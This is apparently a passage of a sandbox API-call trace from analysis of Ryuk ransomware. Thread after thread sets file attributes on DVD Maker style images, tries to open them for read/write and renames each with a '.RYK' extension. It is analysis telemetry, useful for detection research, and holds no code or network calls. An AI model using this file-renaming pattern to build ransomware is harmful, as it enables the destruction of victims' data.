	[0181.789] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0181.789] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\1047x576black.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\1047x576black.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\1047x576black.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 902
	os_tid = 0x1180

	[0181.790] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\1047x576_91n92.png", dwFileAttributes=0x80) returned 0
	[0181.790] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\1047x576_91n92.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\1047x576_91n92.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0181.790] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0181.790] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\1047x576_91n92.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\1047x576_91n92.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\1047x576_91n92.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\1047x576_91n92.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 903
	os_tid = 0x1154

	[0181.791] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\15x15dot.png", dwFileAttributes=0x80) returned 0
	[0181.791] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\15x15dot.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0181.792] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0181.792] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\15x15dot.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\15x15dot.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\15x15dot.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 904
	os_tid = 0xb28

	[0182.094] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\720x480icongraphic.png", dwFileAttributes=0x80) returned 0
	[0182.101] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\720x480icongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\720x480icongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0182.112] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0182.112] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\720x480icongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\720x480icongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\720x480icongraphic.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\720x480icongraphic.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 906
	os_tid = 0x918

	[0182.121] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_ButtonGraphic.png", dwFileAttributes=0x80) returned 0
	[0182.129] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0182.139] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0182.140] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationleft_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_ButtonGraphic.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationleft_buttongraphic.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 907
	os_tid = 0x988

	[0182.148] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_SelectionSubpicture.png", dwFileAttributes=0x80) returned 0
	[0182.161] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0182.171] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0182.172] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationleft_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_SelectionSubpicture.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationleft_selectionsubpicture.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 908
	os_tid = 0xdcc

	[0182.181] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_ButtonGraphic.png", dwFileAttributes=0x80) returned 0
	[0182.191] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0182.204] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0182.204] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationright_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_ButtonGraphic.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationright_buttongraphic.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 909
	os_tid = 0x9a8

	[0182.239] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_SelectionSubpicture.png", dwFileAttributes=0x80) returned 0
	[0182.622] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0183.030] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0183.030] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationright_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_SelectionSubpicture.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationright_selectionsubpicture.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 910
	os_tid = 0x12b4

	[0182.240] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_ButtonGraphic.png", dwFileAttributes=0x80) returned 0
	[0182.621] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0183.033] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0183.034] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationup_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_ButtonGraphic.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationup_buttongraphic.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 911
	os_tid = 0x1298

	[0182.241] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_SelectionSubpicture.png", dwFileAttributes=0x80) returned 0
	[0182.621] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0183.045] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0183.045] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationup_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_SelectionSubpicture.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationup_selectionsubpicture.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 912
	os_tid = 0x11ec

	[0182.242] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\reflect.png", dwFileAttributes=0x80) returned 0
	[0182.796] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\reflect.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\reflect.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0182.796] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0182.796] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\reflect.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\reflect.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\reflect.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\reflect.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 913
	os_tid = 0x12b0

	[0182.243] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\vistabg.png", dwFileAttributes=0x80) returned 0
	[0182.795] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\vistabg.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\vistabg.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0183.028] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0183.028] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\vistabg.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\vistabg.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\vistabg.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\vistabg.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 914
	os_tid = 0x11e8

	[0182.243] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_babypink_Thumbnail.bmp", dwFileAttributes=0x80) returned 0
	[0182.393] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_babypink_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_babypink_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0182.408] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0182.408] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_babypink_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_babypink_thumbnail.bmp"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_babypink_Thumbnail.bmp.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_babypink_thumbnail.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 915
	os_tid = 0x1274

	[0182.244] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_glass_Thumbnail.bmp", dwFileAttributes=0x80) returned 0
	[0182.392] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_glass_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_glass_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0182.409] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0182.410] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_glass_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_glass_thumbnail.bmp"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_glass_Thumbnail.bmp.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_glass_thumbnail.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 916
	os_tid = 0x11f0

	[0182.245] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_highlights_Thumbnail.bmp", dwFileAttributes=0x80) returned 0
	[0182.393] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_highlights_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_highlights_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0182.407] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0182.407] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_highlights_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_highlights_thumbnail.bmp"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_highlights_Thumbnail.bmp.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_highlights_thumbnail.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 917
	os_tid = 0x14c

	[0182.246] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_performance_Thumbnail.bmp", dwFileAttributes=0x80) returned 0
	[0182.393] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_performance_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_performance_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0182.405] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0182.406] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_performance_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_performance_thumbnail.bmp"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_performance_Thumbnail.bmp.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_performance_thumbnail.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 918
	os_tid = 0xdd0

	[0182.246] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_photo_Thumbnail.bmp", dwFileAttributes=0x80) returned 0
	[0182.399] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_photo_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_photo_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0182.404] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0182.405] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_photo_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_photo_thumbnail.bmp"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_photo_Thumbnail.bmp.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_photo_thumbnail.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 919
	os_tid = 0x730

	[0182.247] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_plain_Thumbnail.bmp", dwFileAttributes=0x80) returned 0
	[0182.399] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_plain_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_plain_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0182.403] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0182.404] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_plain_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_plain_thumbnail.bmp"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_plain_Thumbnail.bmp.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_plain_thumbnail.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 920
	os_tid = 0x1404

	[0182.248] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_postage_Thumbnail.bmp", dwFileAttributes=0x80) returned 0
	[0182.399] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_postage_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_postage_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0182.402] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0182.403] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_postage_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_postage_thumbnail.bmp"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_postage_Thumbnail.bmp.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_postage_thumbnail.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 921
	os_tid = 0x1408

	[0182.249] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_scrapbook_Thumbnail.bmp", dwFileAttributes=0x80) returned 0
	[0182.400] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_scrapbook_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_scrapbook_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0182.401] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0182.401] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_scrapbook_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_scrapbook_thumbnail.bmp"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_scrapbook_Thumbnail.bmp.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_scrapbook_thumbnail.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 922
	os_tid = 0x140c

	[0182.492] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_specialocc_Thumbnail.bmp", dwFileAttributes=0x80) returned 0
	[0182.492] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_specialocc_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_specialocc_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0182.492] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0182.493] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_specialocc_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_specialocc_thumbnail.bmp"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_specialocc_Thumbnail.bmp.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_specialocc_thumbnail.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 924
	os_tid = 0x1414

	[0182.494] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_travel_Thumbnail.bmp", dwFileAttributes=0x80) returned 0
	[0182.494] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_travel_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_travel_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0182.494] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0182.494] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_travel_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_travel_thumbnail.bmp"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_travel_Thumbnail.bmp.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_travel_thumbnail.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 925
	os_tid = 0x1418

	[0182.495] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_widescreen_Thumbnail.bmp", dwFileAttributes=0x80) returned 0
	[0182.495] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_widescreen_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_widescreen_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0182.496] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0182.496] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_widescreen_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_widescreen_thumbnail.bmp"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_widescreen_Thumbnail.bmp.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_widescreen_thumbnail.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 926
	os_tid = 0x1420


Thread:
	id = 927
	os_tid = 0x1424

	[0183.381] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\1047x576black.png", dwFileAttributes=0x80) returned 0
	[0183.386] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\1047x576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0183.397] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0183.397] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\1047x576black.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\1047x576black.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\1047x576black.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 928
	os_tid = 0x1428

